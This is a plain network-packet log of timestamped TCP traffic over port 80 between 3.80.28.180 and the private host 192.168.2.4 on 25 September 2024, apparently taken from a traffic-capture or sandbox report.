Sep 25, 2024 03:51:29.429117918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429133892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429150105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429160118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429166079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429183006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429217100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429218054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429276943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429379940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429394960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429410934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429425955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429440022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429440975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429457903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429476023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429481983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429510117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429558039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429752111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429766893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429781914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429795980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429811954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429827929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429843903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429853916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429853916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429919004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430017948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430035114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430116892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430134058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430143118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430149078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430166960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430181026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430185080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430196047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430207014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430226088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430255890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430320978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430428982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430445910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430461884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430478096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430495024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430516958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430533886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430535078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430569887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430589914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430725098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430741072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430757999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430773973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430774927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430789948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430805922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430820942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430835009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430835009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430836916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430855989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.430902958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.430902958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431097984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431112051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431127071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431143045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431158066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431174994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431176901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431190968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431207895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431224108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431232929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431232929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431241035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431255102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431257010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431272030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431288004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431297064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431303978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431320906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431335926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431351900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.431356907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431356907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.431410074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.473061085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473098040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473109961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473120928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473135948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473144054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.473167896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.473186016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473200083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473211050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.473213911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.473345041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.515705109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515721083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515739918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515753031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515765905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515775919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.515779972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515842915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.515842915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.515845060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515858889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515873909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515949965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.515955925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515969038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.515981913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516016960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516042948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516124010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516135931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516149998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516164064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516175032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516186953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516227961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516284943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516331911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516345024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516357899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516370058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516381979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516408920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516483068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516658068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516670942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516683102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516694069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516705990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516721964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516733885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516745090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516747952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516747952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516757965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516771078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516786098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.516793966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516815901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.516848087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.517034054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.517082930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.517095089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.517154932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.519706964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519730091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519762039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.519910097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519923925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519936085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519958019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519973040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519983053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.519985914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.519985914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.519996881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520060062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520060062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520088911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520102024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520112991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520126104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520149946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520251036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520334005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520345926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520358086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520389080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520462036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520473957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520486116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520498991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520510912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520515919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520523071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520535946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520550013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520564079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520591974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520690918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520704031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520715952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520730019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520737886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520760059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.520853043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520864964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.520893097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521027088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521042109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521051884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521064997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521075010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521080971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521092892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521105051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521116972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521128893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521132946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521152973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521186113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521369934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521380901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521394014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521450996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521533012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521552086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521564960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521575928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521584988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521589041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521601915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521614075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521625042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521636963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521641970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521650076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521661997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521661997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521680117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521687984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521714926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521924019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521934986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521946907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521958113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521965027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.521970034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521981955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.521994114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522013903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522027016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522037029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522048950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522052050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.522052050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.522062063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522074938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522085905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522099018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522125006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.522125006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.522197008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.522439957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522453070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522468090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522480011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522490978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522496939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522502899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.522538900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.522600889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.564037085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564052105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564073086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564121008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.564130068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564182997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.564204931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564217091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564316034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.564330101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564342022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.564380884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.606643915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606657982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606667995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606703043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606708050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.606715918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606734991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.606776953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606795073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606806040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606812954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.606867075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.606879950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606894970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606904984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.606940985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.606967926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607067108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607076883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607086897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607124090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607219934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607233047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607291937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607654095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607666016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607676029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607687950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607702971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607712030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607722998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607726097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607733965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607745886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607758045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607764959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607764959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607769966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607783079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607793093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607796907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607800007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607811928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.607832909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.607887030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.608064890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.608074903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.608084917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.608098030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.608109951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.608134031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.608134031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.610791922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.610815048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.610826015 CEST	80	49730	3.80.28.180	192.168.2.4
